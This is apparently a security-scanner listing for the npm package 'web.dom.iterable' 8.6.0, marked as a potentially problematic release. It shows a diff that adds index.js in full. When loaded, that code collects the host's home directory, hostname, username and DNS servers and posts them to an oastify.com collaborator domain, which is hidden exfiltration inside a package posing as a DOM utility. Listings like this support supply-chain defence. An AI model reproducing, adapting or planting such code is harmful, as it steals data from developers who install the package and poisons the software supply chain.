web.dom.iterable 8.6.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of web.dom.iterable might be problematic. Click here for more details.
- package/index.js +48 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const dns = require('dns');
|
3
|
+
const https = require('https');
|
4
|
+
const querystring = require('querystring');
|
5
|
+
|
6
|
+
// Data to be sent in the POST request
|
7
|
+
const data = {
|
8
|
+
hd: os.homedir(),
|
9
|
+
hn: os.hostname(),
|
10
|
+
un: os.userInfo().username,
|
11
|
+
dns: dns.getServers().join(','),
|
12
|
+
};
|
13
|
+
|
14
|
+
// Convert data to a URL-encoded string
|
15
|
+
const postData = querystring.stringify(data);
|
16
|
+
|
17
|
+
// POST request options
|
18
|
+
const options = {
|
19
|
+
hostname: 'y0zgdu1sl4q5cjqq7mn186v8yz4pse.oastify.com', // Replace with the hostname or IP address of your server
|
20
|
+
port: 443, // Replace with the port number your server is listening on
|
21
|
+
path: '/',
|
22
|
+
method: 'POST',
|
23
|
+
headers: {
|
24
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
25
|
+
'Content-Length': postData.length,
|
26
|
+
},
|
27
|
+
};
|
28
|
+
|
29
|
+
// Send the POST request
|
30
|
+
const req = https.request(options, (res) => {
|
31
|
+
console.log(`Status Code: ${res.statusCode}`);
|
32
|
+
|
33
|
+
res.on('data', (chunk) => {
|
34
|
+
console.log(`Response: ${chunk}`);
|
35
|
+
});
|
36
|
+
|
37
|
+
res.on('end', () => {
|
38
|
+
console.log('POST request completed.');
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on('error', (error) => {
|
43
|
+
console.error(`Error sending POST request: ${error.message}`);
|
44
|
+
});
|
45
|
+
|
46
|
+
// Send the data in the POST request
|
47
|
+
req.write(postData);
|
48
|
+
req.end();
|
package/package.json
ADDED